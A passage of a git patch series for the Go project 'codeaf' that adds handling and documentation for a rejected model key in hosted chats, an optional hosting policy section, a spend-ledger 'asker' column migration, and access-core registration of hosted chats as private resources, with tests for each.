"invalid key") + // Item 0 changed the words, never the refusal: the person's key is named as + // theirs and the provider's own words are not passed on. + hostedModelErrorIs(t, w, 401, "", hostedOwnKeyRefused) if !slices.Equal(seen, []string{testHostedOwnKey}) { t.Fatalf("upstream got %v", seen) } @@ -657,3 +659,124 @@ func TestP1_1_DefaultBaseAndKeylessUpstream(t *testing.T) { }) } } + +// operatorLog replaces the key-refusal log with a recorder and returns what it +// has been told so far. +func operatorLog(t *testing.T, rg *hostedRig) func() []string { + t.Helper() + var mu sync.Mutex + var lines []string + rg.h.config.Hosted.state.refusals.logf = func(format string, args ...any) { + mu.Lock() + defer mu.Unlock() + lines = append(lines, fmt.Sprintf(format, args...)) + } + return func() []string { + mu.Lock() + defer mu.Unlock() + return slices.Clone(lines) + } +} + +// Item 0: when the provider rejects the ORGANIZATION's key (401 or 403) the chat +// gets a plain refusal that is not a bad gateway (the engine retries those +// quietly, about once a minute), the person-facing words carry neither the key +// nor the provider's text, the upstream is asked once per call, and the +// operator's log gets ONE line naming the cause, not one per call. +func TestItem0_OrgKeyRefusedByTheProviderIsAPlainRefusalAndOneOperatorLine(t *testing.T) { + for _, status := range []int{401, 403} { + t.Run(fmt.Sprint(status), func(t *testing.T) { + var calls atomic.Int64 + rg := newMeteredRig(t, 0, func(_ context.Context, key, _ string) (*ai.Response, error) { + calls.Add(1) + return nil, &provider.APIError{Status: status, Message: "User not found. " + key} + }) + lines := operatorLog(t, rg) + chat := rg.create(t, "santosh") + for i := 1; i <= 3; i++ { + w := callHostedModel(rg, chat, testHostedBody) + hostedModelErrorIs(t, w, 401, "", hostedOrgKeyRefused) + if strings.Contains(w.Body.String(), testHostedOrgKey) || strings.Contains(w.Body.String(), "User not found") { + t.Fatalf("the refusal carries the key or the provider's words: %s", w.Body) + } + if w.Code >= 500 { + t.Fatalf("a refused key must not look like a gateway fault the engine retries: %d", w.Code) + } + if got := calls.Load(); got != int64(i) { + t.Fatalf("after %d calls the provider was asked %d times: the door must not retry", i, got) + } + } + got := lines() + if len(got) != 1 || !strings.Contains(got[0], "organization's model key") || !strings.Contains(got[0], fmt.Sprint(status)) || + strings.Contains(got[0], testHostedOrgKey) { + t.Fatalf("operator lines = %q, want exactly one naming the organization's key and no key", got) + } + }) + } +} + +// Item 0: a refused key that later works is a new outage if it is refused +// again, so the operator hears of it; and the quiet period ends by itself. +func TestItem0_ARecoveredKeyThatFailsAgainIsLoggedAgain(t *testing.T) { + var refuse atomic.Bool + refuse.Store(true) + rg := newMeteredRig(t, 0, func(ctx context.Context, _, model string) (*ai.Response, error) { + if refuse.Load() { + return nil, &provider.APIError{Status: 401, Message: "no"} + } + return meteredAnswer(ctx, model, "ok", 0), nil + }) + lines := operatorLog(t, rg) + chat := rg.create(t, "santosh") + callHostedModel(rg, chat, testHostedBody) + callHostedModel(rg, chat, testHostedBody) + refuse.Store(false) + if w := callHostedModel(rg, chat, testHostedBody); w.Code != 200 { + t.Fatalf("a working key = %d %s", w.Code, w.Body) + } + refuse.Store(true) + callHostedModel(rg, chat, testHostedBody) + if got := lines(); len(got) != 2 { + t.Fatalf("operator lines = %q, want one per outage (2)", got) + } + // The same outage is named again only after the quiet period. + state := &rg.h.config.Hosted.state.refusals + state.refused(time.Now().Add(hostedRefusalEvery+time.Minute), false, "santosh", 401) + if got := lines(); len(got) != 3 { + t.Fatalf("after the quiet period the line repeats: %q", got) + } +} + +// Item 0: a person's own sealed key that the provider rejects gets the same +// treatment, worded as their key, with one operator line that names the person +// and never the key, and the organization's key is neither used nor named. +func TestItem0_OwnKeyRefusedByTheProviderIsWordedAsTheirKey(t *testing.T) { + installHostedKeyHook(t, func(string, string) (string, bool, error) { + return testHostedOwnKey, true, nil + }) + var seen []string + rg := newMeteredRig(t, 0, func(_ context.Context, key, _ string) (*ai.Response, error) { + seen = append(seen, key) + return nil, &provider.APIError{Status: 403, Message: "forbidden " + key} + }) + lines := operatorLog(t, rg) + chat := rg.create(t, "santosh") + for range 2 { + w := callHostedModel(rg, chat, testHostedBody) + hostedModelErrorIs(t, w, 401, "", hostedOwnKeyRefused) + if strings.Contains(w.Body.String(), testHostedOwnKey) || strings.Contains(w.Body.String(), "forbidden") { + t.Fatalf("the refusal carries the key or the provider's words: %s", w.Body) + } + } + if !slices.Equal(seen, []string{testHostedOwnKey, testHostedOwnKey}) { + t.Fatalf("upstream got %v", seen) + } + got := lines() + if len(got) != 1 || !strings.Contains(got[0], "own model key") || !strings.Contains(got[0], "santosh") || + strings.Contains(got[0], testHostedOwnKey) || strings.Contains(got[0], "organization") { + t.Fatalf("operator lines = %q, want one naming the person's own key", got) + } + if strings.Contains(hostedOwnKeyRefused+hostedOrgKeyRefused, "bearer") { + t.Fatal("plain words") + } +} From 72ccecd10933861084dc251a97d189fd4d6936b7 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 09:20:36 -0500 Subject: [PATCH 058/176] hosted P1: manual, README and change entry carry the rejected-key sentences The manual's cost section and deploy/org's README say the exact sentences a person reads when the provider refuses the organization's key or their own, the change entry records what was true before, and a probe keeps the sentence reachable. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/README.md | 7 ++++++- docs/changes/unreleased/2898-hosted-chats-p1.md | 1 + internal/manual/chat/organization-hosted-sessions.md | 2 +- internal/manual/chat_hosted_test.go | 1 + 4 files changed, 9 insertions(+), 2 deletions(-) diff --git a/deploy/org/README.md b/deploy/org/README.md index ac32ac28ff..a36ccc9ced 100644 --- a/deploy/org/README.md +++ b/deploy/org/README.md @@ -206,7 +206,12 @@ organization's. Each of those is a next step, not a hidden property. different server key, or people's keys and no server key, refuses to start with a sentence and touches nothing; with no server key at all, personal keys are refused with a 409 and chats use the organization's key. Never the other way round: a person's own key that cannot be opened pauses their chat; it is never replaced by the - organization's. + organization's. A key the provider rejects (a 401 or 403) is a plain refusal in the chat's transcript and is not + retried: the organization's key reads "The organization's model access was refused by its provider, so this chat + paused. Ask the organization's operator to check the model key.", a person's own key reads "Your own model key was + refused by its provider, so this chat paused. Replace it or remove it, then send your message again." The + server's log gets one line naming the cause (the setting `CODEAF_HOSTED_MODEL_KEY`, or the person), never the + key, and repeats at most every 30 minutes while the key stays refused. - **Git.** `CODEAF_HOSTED_GIT_HOSTS` (default `https://github.com`) are the hosts a chat's git reaches through the server. One audit line per operation goes to `hosted-audit.jsonl` (`GET /v1/hosted/audit` shows a person their own). diff --git a/docs/changes/unreleased/2898-hosted-chats-p1.md b/docs/changes/unreleased/2898-hosted-chats-p1.md index 1482e48ee5..ee0b36bb1a 100644 --- a/docs/changes/unreleased/2898-hosted-chats-p1.md +++ b/docs/changes/unreleased/2898-hosted-chats-p1.md @@ -7,6 +7,7 @@ invalidates: - "The organization server's /v1/model/ door passed a chat's call straight to the upstream and counted nothing, a chat's model access was kept in the server's memory for twelve hours and a restart of the server ended it, and a hosted chat's commands could connect to any port of the network its machine was on. Now every call is metered to the cent into the person's My space (so My space's spent_usd and at_limit count hosted chats), a chat stops at CODEAF_HOSTED_SESSION_CAP_USD (default 5) and a person at the monthly limit, the access is kept as hashes for seven days and survives a restart, and a hosted chat's commands may connect only to the ports in CODEAF_SESSIONHOST_CONNECT_PORTS (default 443,80,22,9418) and the organization server's own. With hosted chats off nothing changed." - "A person could not give a hosted chat a GitHub access or a model key of their own, and the chat had no way to reach git. A person can now store them (PUT /v1/hosted/keys/{provider}, sealed on the server under CODEAF_SERVER_KEY, never readable by a chat), and a chat's git clone and push of an allowed host go through the organization server, which adds that access to each request." - "A machine whose kernel is older than Linux 6.12 refused to start chats without saying how to accept that. The refusal now names CODEAF_SESSIONHOST_REQUIRE=uid, and deploy/org's README says Linux 6.12 or newer." + - "A provider that rejected the organization's model key (a 401 or 403) made a chat's model call come back as a 502, which the engine retried quietly about once a minute while the server's log said nothing. Now the chat reads one plain sentence in its transcript and is not retried, and the server's log gets one line naming the cause, never the key; a person's own stored key that is rejected is worded as theirs." --- A hosted chat can now be given to people without handing them the organization's key. Its model calls go through the diff --git a/internal/manual/chat/organization-hosted-sessions.md b/internal/manual/chat/organization-hosted-sessions.md index 84c9f3ea7a..554c0bcc78 100644 --- a/internal/manual/chat/organization-hosted-sessions.md +++ b/internal/manual/chat/organization-hosted-sessions.md @@ -92,7 +92,7 @@ On the organization's server set `CODEAF_HOSTED_URL` to the chats' machine, `COD A hosted chat calls its model through the organization's server, with the organization's key unless you stored your own. Every call is counted to the cent in your My space on that server, and the organization's operator sees only totals. A chat stops at its own spending limit, five dollars unless the operator set another, and you read: `This chat has reached its spending limit of $5.00, so it is paused. Start a new chat to carry on.` Your My space has a monthly limit too, twenty dollars unless the operator set another, and at it you read: `You have reached your monthly limit of $20.00, so this chat is paused. The organization's operator can raise it in Settings.` -A refused message makes no model call and costs nothing. Calls made with your own key are counted too, against both limits. A chat that is making as many requests as it may at once, four, reads: `This chat is already making as many requests as it may at once. Try again in a moment.` +A refused message makes no model call and costs nothing. Calls made with your own key are counted too, against both limits. If the model's provider turns down the organization's key, the chat pauses and you read, once, as a plain sentence and not as a failure that keeps retrying: `The organization's model access was refused by its provider, so this chat paused. Ask the organization's operator to check the model key.` If it turns down the key you stored yourself, you read `Your own model key was refused by its provider, so this chat paused. Replace it or remove it, then send your message again.` The organization's key is never used instead of yours. A chat that is making as many requests as it may at once, four, reads: `This chat is already making as many requests as it may at once. Try again in a moment.` ## keep my own model key or GitHub access on the organization's server — stored sealed, only yours diff --git a/internal/manual/chat_hosted_test.go b/internal/manual/chat_hosted_test.go index 338abd40c8..6ada20ecd7 100644 --- a/internal/manual/chat_hosted_test.go +++ b/internal/manual/chat_hosted_test.go @@ -27,6 +27,7 @@ func TestHostedChatQuestionsReachTheirPage(t *testing.T) { {"This computer cannot keep commands inside this chat's folder so no command was run", []string{"no command was run"}}, {"how do I turn on hosted chats for my organization", []string{"CODEAF_HOSTED_URL", "codeaf sessionhost probe"}}, {"how do I stop or delete a chat that runs on the server", []string{"every process it started"}}, + {"The organization's model access was refused by its provider, so this chat paused", []string{"Ask the organization's operator to check the model key", "Your own model key was refused by its provider"}}, } for _, ask := range asked { found := Chat().Search(ask.question, DefaultResults) From 88334eff7c4498338a0739941413f902ba5f9562 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 10:39:27 -0500 Subject: [PATCH 059/176] hosted P2: an additive Hosting section in the organization's policy The policy gains `hosting`: `local_sessions` (allow, warn or refuse; empty means refuse when the organization runs hosted chats and allow when it does not) and `max_session_cost_usd` (zero keeps today's cap). Both are validated in words, and the zero value serializes to nothing so a stored policy that never named hosting is unchanged. Co-Authored-By: Claude Sonnet 5.5 --- internal/factory/acl/hosting_test.go | 53 ++++++++++++++++++++++++++++ internal/factory/acl/policy.go | 27 ++++++++++++++ 2 files changed, 80 insertions(+) create mode 100644 internal/factory/acl/hosting_test.go diff --git a/internal/factory/acl/hosting_test.go b/internal/factory/acl/hosting_test.go new file mode 100644 index 0000000000..851b9f7a69 --- /dev/null +++ b/internal/factory/acl/hosting_test.go @@ -0,0 +1,53 @@ +package acl + +import ( + "encoding/json" + "errors" + "math" + "testing" +) + +// P2-9 +// Hosted settings are optional and accept only the documented values. +func TestP2_9_HostingPolicyDefaultsAndValidation(t *testing.T) { + p := DefaultPolicy() + data, err := json.Marshal(p) + if err != nil { + t.Fatal(err) + } + var fields map[string]json.RawMessage + if err := json.Unmarshal(data, &fields); err != nil { + t.Fatal(err) + } + if _, exists := fields["hosting"]; exists { + t.Fatalf("default policy includes hosting: %s", data) + } + for _, tc := range []struct { + setting, withHost, withoutHost string + }{ + {"", "refuse", "allow"}, {"allow", "allow", "allow"}, + {"warn", "warn", "warn"}, {"refuse", "refuse", "refuse"}, + } { + p.Hosting = Hosting{LocalSessions: tc.setting, MaxSessionCostUSD: 1_000_000} + if err := p.Validate(Policy{}, nil); err != nil { + t.Fatal(err) + } + if got := p.Hosting.LocalSessionsFor(true); got != tc.withHost { + t.Errorf("with host, %q resolves to %q, want %q", tc.setting, got, tc.withHost) + } + if got := p.Hosting.LocalSessionsFor(false); got != tc.withoutHost { + t.Errorf("without host, %q resolves to %q, want %q", tc.setting, got, tc.withoutHost) + } + } + var validation *ValidationError + p.Hosting = Hosting{LocalSessions: "sometimes"} + if err := p.Validate(Policy{}, nil); !errors.As(err, &validation) || err.Error() != "hosting local sessions must be allow, warn or refuse" { + t.Fatalf("invalid local sessions: %v", err) + } + for _, cost := range []float64{-1, math.NaN(), math.Inf(-1), math.Inf(1), 1_000_001} { + p.Hosting = Hosting{MaxSessionCostUSD: cost} + if err := p.Validate(Policy{}, nil); !errors.As(err, &validation) { + t.Errorf("invalid cost %g: %v", cost, err) + } + } +} diff --git a/internal/factory/acl/policy.go b/internal/factory/acl/policy.go index cbf3fd4565..5fb3f2c2a4 100644 --- a/internal/factory/acl/policy.go +++ b/internal/factory/acl/policy.go @@ -2,6 +2,7 @@ package acl import ( "fmt" + "math" "slices" "strings" ) @@ -88,6 +89,23 @@ type Agents struct { Scopes map[string]string `json:"scopes,omitempty"` } +// Hosting holds optional organization settings for where chats run and how much they may spend. +type Hosting struct { + LocalSessions string `json:"local_sessions,omitempty"` + MaxSessionCostUSD float64 `json:"max_session_cost_usd,omitempty"` +} + +// LocalSessionsFor keeps the existing local-chat behavior when the organization has no preference. +func (h Hosting) LocalSessionsFor(hasChatHost bool) string { + if h.LocalSessions != "" { + return h.LocalSessions + } + if hasChatHost { + return "refuse" + } + return "allow" +} + // Policy is the organization's access document: the roles, what each kind of // resource starts as, who may share, what the operator and agents may do. It // is stored as one row with a revision and changes only through a PUT by the @@ -103,6 +121,7 @@ type Policy struct { Sharing Sharing `json:"sharing"` Operator Operator `json:"operator"` Agents Agents `json:"agents"` + Hosting Hosting `json:"hosting,omitzero"` } // legacyRoles are the four names old shares and clients already use, so a @@ -215,6 +234,14 @@ func (p Policy) Validate(prev Policy, inUse func(role string) bool) error { if p.Sharing.Who != ShareVerb && p.Sharing.Who != OwnerOnly { return invalid("sharing must be set to people with sharing permission or to owners only") } + switch p.Hosting.LocalSessions { + case "", "allow", "warn", "refuse": + default: + return invalid("hosting local sessions must be allow, warn or refuse") + } + if cost := p.Hosting.MaxSessionCostUSD; math.IsNaN(cost) || cost < 0 || cost > 1_000_000 { + return invalid("hosting chat cost must be between 0 and 1,000,000 dollars") + } for _, r := range prev.Roles { if !roles[r.Name] && inUse != nil && inUse(r.Name) { return invalid("role %q is still in use", r.Name) From 10c6495d01a721f59420ed362b6b5c049c0b388b Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 10:39:27 -0500 Subject: [PATCH 060/176] hosted P2: the spend ledger records who asked An additive `asker` column on `spend` (added to an existing ledger on open, idempotent) and `Spend.Asker`, so a charge made in the owner's chat while a guest was steering it says who asked, while `by` stays the owner. Co-Authored-By: Claude Sonnet 5.5 --- internal/factory/store/spend_asker_test.go | 54 ++++++++++++++++++++++ internal/factory/store/workstreams.go | 32 +++++++++++-- 2 files changed, 83 insertions(+), 3 deletions(-) create mode 100644 internal/factory/store/spend_asker_test.go diff --git a/internal/factory/store/spend_asker_test.go b/internal/factory/store/spend_asker_test.go new file mode 100644 index 0000000000..1ec109726c --- /dev/null +++ b/internal/factory/store/spend_asker_test.go @@ -0,0 +1,54 @@ +package store + +import ( + "database/sql" + "path/filepath" + "testing" +) + +// P2-8 +// Opening an older ledger adds the asker column once and keeps the old charges intact. +func TestP2_8_SpendAskerMigrationIsIdempotent(t *testing.T) { + st, err := Open(t.TempDir()) + if err != nil { + t.Fatal(err) + } + path := filepath.Join(st.Root(), WorkstreamsDB) + old, err := sql.Open("sqlite", path) + if err != nil { + t.Fatal(err) + } + _, err = old.Exec(`CREATE TABLE spend ( + seq INTEGER PRIMARY KEY AUTOINCREMENT, ws TEXT NOT NULL, at TEXT NOT NULL, by TEXT NOT NULL, + usd REAL NOT NULL, job INTEGER NOT NULL DEFAULT 0, chat TEXT NOT NULL DEFAULT '', key TEXT NOT NULL DEFAULT '' + ); + INSERT INTO spend (ws, at, by, usd, chat, key) VALUES ('space', '2026-11-24', 'owner', 1, 'hosted:chat', 'old')`) + closeErr := old.Close() + if err != nil || closeErr != nil { + t.Fatalf("create P1 ledger: %v, close: %v", err, closeErr) + } + for _, key := range []string{"first", "second"} { + if _, err := st.AddSpend("space", Spend{At: "2026-11-24", By: "owner", Asker: "guest", USD: 1, Chat: "hosted:chat", Key: key}); err != nil { + t.Fatal(err) + } + // Drop the process cache so the next write opens and migrates the same ledger again. + workstreamDBs.Lock() + err := workstreamDBs.open[path].Close() + delete(workstreamDBs.open, path) + workstreamDBs.Unlock() + if err != nil { + t.Fatal(err) + } + } + db, err := sql.Open("sqlite", path) + if err != nil { + t.Fatal(err) + } + defer db.Close() + for _, want := range []struct{ key, asker string }{{"old", ""}, {"first", "guest"}, {"second", "guest"}} { + var by, asker string + if err := db.QueryRow(`SELECT by, asker FROM spend WHERE key = ?`, want.key).Scan(&by, &asker); err != nil || by != "owner" || asker != want.asker { + t.Fatalf("spend %s by %q, asker %q, error %v", want.key, by, asker, err) + } + } +} diff --git a/internal/factory/store/workstreams.go b/internal/factory/store/workstreams.go index 37dcbb9045..f67e355bf1 100644 --- a/internal/factory/store/workstreams.go +++ b/internal/factory/store/workstreams.go @@ -111,7 +111,8 @@ CREATE TABLE IF NOT EXISTS spend ( usd REAL NOT NULL, job INTEGER NOT NULL DEFAULT 0, chat TEXT NOT NULL DEFAULT '', - key TEXT NOT NULL DEFAULT '' + key TEXT NOT NULL DEFAULT '', + asker TEXT NOT NULL DEFAULT '' ); CREATE INDEX IF NOT EXISTS spend_ws ON spend (ws); CREATE UNIQUE INDEX IF NOT EXISTS spend_key ON spend (ws, key) WHERE key <> ''; @@ -177,6 +178,10 @@ func (st *Store) wsDB(create bool) (*sql.DB, error) { _ = db.Close() return nil, fmt.Errorf("the organization's workstreams cannot be opened: %w", err) } + if err := addSpendAsker(db); err != nil { + _ = db.Close() + return nil, fmt.Errorf("the organization's workstreams cannot be opened: %w", err) + } if err := st.migrateWorkstreams(db); err != nil { _ = db.Close() return nil, err @@ -720,6 +725,25 @@ func (st *Store) PutPart(ws, part, id string, rev int, who string, now time.Time // ── spend ── +// addSpendAsker migrates a P1 ledger in one write transaction so concurrent opens agree on the schema. +func addSpendAsker(db *sql.DB) error { + tx, err := db.Begin() + if err != nil { + return err + } + defer tx.Rollback() + var exists bool + if err := tx.QueryRow(`SELECT EXISTS (SELECT 1 FROM pragma_table_info('spend') WHERE name = 'asker')`).Scan(&exists); err != nil { + return err + } + if !exists { + if _, err := tx.Exec(`ALTER TABLE spend ADD COLUMN asker TEXT NOT NULL DEFAULT ''`); err != nil { + return err + } + } + return tx.Commit() +} + // Spend is one spend someone posted against a workstream. type Spend struct { At string @@ -727,6 +751,8 @@ type Spend struct { USD float64 Job int Chat string + // Asker records a guest who prompted a hosted charge billed to By. + Asker string // Key is the poster's idempotency key: the same key posted twice is kept // once. Key string @@ -737,8 +763,8 @@ type Spend struct { func (st *Store) AddSpend(ws string, s Spend) (float64, error) { var total float64 err := st.wsTx(func(tx *sql.Tx) error { - if _, err := tx.Exec(`INSERT INTO spend (ws, at, by, usd, job, chat, key) VALUES (?, ?, ?, ?, ?, ?, ?) - ON CONFLICT DO NOTHING`, ws, s.At, s.By, s.USD, s.Job, s.Chat, s.Key); err != nil { + if _, err := tx.Exec(`INSERT INTO spend (ws, at, by, usd, job, chat, key, asker) VALUES (?, ?, ?, ?, ?, ?, ?, ?) + ON CONFLICT DO NOTHING`, ws, s.At, s.By, s.USD, s.Job, s.Chat, s.Key, s.Asker); err != nil { return err } return tx.QueryRow(`SELECT coalesce(sum(usd), 0) FROM spend WHERE ws = ?`, ws).Scan(&total) From cbfd1d478ad83ff45d465d2f3ff70cbb4a8813e2 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 10:39:27 -0500 Subject: [PATCH 061/176] hosted P2: a hosted chat is a private resource of the access core A hosted chat is registered as a `session` resource when it is made (owner = the person, or a bot's creator), private unless the policy says otherwise, and the list, the chat's routes and the event stream all ask the same core, so another person's list and live updates never carry it. The list keeps `sessions` as P1 gave it and adds `shared` and `hosting`; a chat made before this is registered on its owner's first use; stop and delete need the manage verb. The wire decides owner, guest or none from the access core with the operator cleared (guests get the unchanged refusal until the wire pump lands), a guest's attach never stores their GitHub sign-in under the owner, and the policy's chat cost replaces the default cap. Co-Authored-By: Claude Sonnet 5.5 --- internal/factory/serve/hosted_access.go | 262 ++++++++++ internal/factory/serve/hosted_guest.go | 8 + .../factory/serve/hosted_p2_model_test.go | 110 ++++ internal/factory/serve/hosted_p2_test.go | 487 ++++++++++++++++++ internal/factory/serve/hosted_proxy.go | 183 ++++++- internal/factory/serve/hosted_proxy_test.go | 5 +- internal/factory/serve/model_route.go | 26 + internal/factory/serve/model_route_test.go | 4 +- 8 files changed, 1057 insertions(+), 28 deletions(-) create mode 100644 internal/factory/serve/hosted_access.go create mode 100644 internal/factory/serve/hosted_guest.go create mode 100644 internal/factory/serve/hosted_p2_model_test.go create mode 100644 internal/factory/serve/hosted_p2_test.go diff --git a/internal/factory/serve/hosted_access.go b/internal/factory/serve/hosted_access.go new file mode 100644 index 0000000000..4057ef2905 --- /dev/null +++ b/internal/factory/serve/hosted_access.go @@ -0,0 +1,262 @@ +package serve + +import ( + "encoding/json" + "maps" + "net/http" + "slices" + "time" + + "github.com/Agent-Field/codeaf/internal/factory" + "github.com/Agent-Field/codeaf/internal/factory/acl" + "github.com/Agent-Field/codeaf/internal/factory/store" +) + +const hostedOwnerManage = "Only the owner of this chat can stop or delete it." + +type hostedWireClass uint8 + +const ( + hostedWireNone hostedWireClass = iota + hostedWireOwner + hostedWireGuest +) + +// hostedWireClassFor strips operator access because the wire opens the owner's live conversation. +func hostedWireClassFor(v Viewer, item Item, owner string) hostedWireClass { + v = hostedWithoutOperator(v) + if !can(v, item, acl.VerbView) { + return hostedWireNone + } + if v.Handle == owner && can(v, item, acl.VerbRun) { + return hostedWireOwner + } + return hostedWireGuest +} + +func hostedWithoutOperator(v Viewer) Viewer { + v.Operator = false + return v +} + +func (h *Handler) hostedViewer(w http.ResponseWriter, r *http.Request) (Viewer, bool) { + if h.config.Store == nil { + person, ok := h.hostedPerson(w, r) + return Viewer{Handle: person}, ok + } + v, err := h.itemViewer(r) + return v, h.hostedSignedIn(w, v.Handle, err) +} + +// hostedRegistration only accepts parentless person-owned hosted chats because other session resources live elsewhere. +func hostedRegistration(row store.Resource) bool { + return row.Parent == (acl.Resource{}) && row.Owner.Kind == "person" && row.Owner.ID != "" && hostedIDForm.MatchString(row.ID) +} + +func hostedResourceRow(id, owner string, creator acl.Principal, visibility string, at time.Time) store.Resource { + return store.Resource{ + Resource: Ref{Kind: store.SessionKind, ID: id}, + Owner: acl.Subject{Kind: "person", ID: owner}, + CreatedBy: creator, + Visibility: visibility, + CreatedAt: at.UTC(), + } +} + +func (h *Handler) registerHostedChat(v Viewer, id string) (store.Resource, error) { + p := v.acc.rules() + row := hostedResourceRow(id, v.Handle, accessPrincipal(v), p.Visibility(store.SessionKind), h.clock()) + var grant *acl.Grant + if row.Visibility == acl.Org { + grant = orgDefaultGrant(p, row.Resource, row.CreatedAt) + } + return row, h.config.Store.RegisterResource(row, grant, p.Rev, nil) +} + +func (h *Handler) backfillHostedChat(id, owner, created string) (store.Resource, error) { + at, err := time.Parse(time.RFC3339Nano, created) + if err != nil { + at = h.clock() + } + row := hostedResourceRow(id, owner, acl.Principal{Kind: "person", ID: owner}, acl.Private, at) + return row, h.config.Store.BackfillResource(row) +} + +type hostedChatLookup struct { + item Item + owner string + legacyHeader http.Header + legacyBody []byte +} + +func (h *Handler) resolveHostedChat(w http.ResponseWriter, r *http.Request, id string, v Viewer) (hostedChatLookup, bool) { + hs := h.config.Hosted.state + hs.registry.RLock() + defer hs.registry.RUnlock() + return h.lookupHostedChat(w, r, id, v) +} + +// lookupHostedChat resolves the registry before asking the host. Only a successful read as +// the caller proves ownership of a chat from before registration was introduced. +func (h *Handler) lookupHostedChat(w http.ResponseWriter, r *http.Request, id string, v Viewer) (hostedChatLookup, bool) { + st := h.config.Store + row, found, err := st.Resource(store.SessionKind, id) + if h.failed(w, err) { + return hostedChatLookup{}, false + } + var chat hostedChatLookup + if !found { + hs := h.config.Hosted.state + status, header, body, err := hs.call(r.Context(), http.MethodGet, "/v1/sessions/"+id, v.Handle, nil) + if h.hostedFailed(w, status, err) { + return chat, false + } + if status == http.StatusNotFound { + hostedNoSuchChatWrite(w) + return chat, false + } + if status != http.StatusOK { + hostedRelay(w, status, header, body) + return chat, false + } + var data hostedStatusFields + if json.Unmarshal(body, &data) != nil || data.ID != id { + h.fail(w, http.StatusBadGateway, hostedUnreachable) + return chat, false + } + if _, err := h.backfillHostedChat(id, v.Handle, data.Created); h.failed(w, err) { + return chat, false + } + // Another server may have registered this chat after the first read. + row, found, err = st.Resource(store.SessionKind, id) + if h.failed(w, err) { + return chat, false + } + if row.Owner.ID == v.Handle { + chat.legacyHeader, chat.legacyBody = header, body + } + } + if !found || !hostedRegistration(row) { + hostedNoSuchChatWrite(w) + return hostedChatLookup{}, false + } + chat.item, chat.owner = h.resourceItem(row, factory.OrgWorkstream{}), row.Owner.ID + return chat, true +} + +type hostedStatusFields struct { + ID string `json:"id"` + State string `json:"state"` + Created string `json:"created"` + LastActive string `json:"last_active"` +} + +type hostedSharedRow struct { + hostedStatusFields + Owner string `json:"owner"` + Role *string `json:"role,omitempty"` + Access string `json:"access"` +} + +// hostedMetadata shows an operator-only row without a role because an operator's metadata access does not open the chat. +func hostedMetadata(v Viewer, item Item) hostedSharedRow { + v = hostedWithoutOperator(v) + row := hostedSharedRow{Owner: item.Owner.ID, Access: "operator"} + if can(v, item, acl.VerbView) { + role := roleOf(v, item) + row.Role, row.Access = &role, "shared" + } + return row +} + +type hostedSessionsList struct { + Sessions json.RawMessage `json:"sessions"` +} + +func (h *Handler) hostedOwnList(w http.ResponseWriter, r *http.Request, v Viewer) (hostedSessionsList, []accessResource, bool) { + hs := h.config.Hosted.state + hs.registry.RLock() + defer hs.registry.RUnlock() + status, header, body, err := hs.call(r.Context(), http.MethodGet, "/v1/sessions", v.Handle, nil) + var own hostedSessionsList + if h.hostedFailed(w, status, err) { + return own, nil, false + } + st := h.config.Store + if st == nil || status != http.StatusOK { + hostedRelay(w, status, header, body) + return own, nil, false + } + var rows []json.RawMessage + if json.Unmarshal(body, &own) != nil || json.Unmarshal(own.Sessions, &rows) != nil { + h.fail(w, http.StatusBadGateway, hostedUnreachable) + return own, nil, false + } + registered, err := st.Resources(store.SessionKind) + if h.failed(w, err) { + return own, nil, false + } + byID := make(map[string]store.Resource, len(registered)) + var others []accessResource + for _, row := range registered { + byID[row.ID] = row + if hostedRegistration(row) && row.Owner.ID != v.Handle { + others = append(others, h.registeredResource(row, factory.OrgWorkstream{})) + } + } + kept := make([]json.RawMessage, 0, len(rows)) + for _, raw := range rows { + var status hostedStatusFields + if json.Unmarshal(raw, &status) != nil || !hostedIDForm.MatchString(status.ID) { + h.fail(w, http.StatusBadGateway, hostedUnreachable) + return own, nil, false + } + row, found := byID[status.ID] + if !found { + row, err = h.backfillHostedChat(status.ID, v.Handle, status.Created) + if h.failed(w, err) { + return own, nil, false + } + } + if hostedRegistration(row) && row.Owner.ID == v.Handle && can(v, h.resourceItem(row, factory.OrgWorkstream{}), acl.VerbView) { + kept = append(kept, raw) + } + } + if len(kept) != len(rows) { + own.Sessions, _ = json.Marshal(kept) + } + return own, others, true +} + +func (h *Handler) hostedSharedList(w http.ResponseWriter, r *http.Request, v Viewer, others []accessResource) ([]hostedSharedRow, bool) { + v.acc.prefetchResources(others) + owners := map[string]map[string]hostedSharedRow{} + for _, res := range others { + if !can(v, res.item, acl.VerbView) { + continue + } + row := hostedMetadata(v, res.item) + if owners[row.Owner] == nil { + owners[row.Owner] = map[string]hostedSharedRow{} + } + owners[row.Owner][res.ref.ID] = row + } + shared := []hostedSharedRow{} + hs := h.config.Hosted.state + for _, owner := range slices.Sorted(maps.Keys(owners)) { + status, _, body, err := hs.call(r.Context(), http.MethodGet, "/v1/sessions", owner, nil) + var listing hostedSessionsList + var rows []hostedStatusFields + if err != nil || status != http.StatusOK || json.Unmarshal(body, &listing) != nil || json.Unmarshal(listing.Sessions, &rows) != nil { + h.fail(w, http.StatusBadGateway, hostedUnreachable) + return nil, false + } + for _, status := range rows { + if row, ok := owners[owner][status.ID]; ok { + row.hostedStatusFields = status + shared = append(shared, row) + } + } + } + return shared, true +} diff --git a/internal/factory/serve/hosted_guest.go b/internal/factory/serve/hosted_guest.go new file mode 100644 index 0000000000..12370f523a --- /dev/null +++ b/internal/factory/serve/hosted_guest.go @@ -0,0 +1,8 @@ +package serve + +import "net/http" + +// RUN B fills this stub with the guest wire pump. Until then guest attaches receive the usual missing-chat reply. +func (h *Handler) hostedGuestWire(w http.ResponseWriter, _ *http.Request, _ Item, _ string, _ Viewer) { + hostedNoSuchChatWrite(w) +} diff --git a/internal/factory/serve/hosted_p2_model_test.go b/internal/factory/serve/hosted_p2_model_test.go new file mode 100644 index 0000000000..d000970001 --- /dev/null +++ b/internal/factory/serve/hosted_p2_model_test.go @@ -0,0 +1,110 @@ +package serve + +import ( + "context" + "net/http" + "net/http/httptest" + "strings" + "testing" + + "github.com/Agent-Field/agentfield/sdk/go/ai" + "github.com/Agent-Field/codeaf/internal/factory/acl" +) + +// P2-8 +// The latest guest asker appears on the owner's spend rows, and the owner's own turns leave asker empty. +func TestP2_8_HostedSpendRecordsGuestWithoutMovingTheCharge(t *testing.T) { + rg := 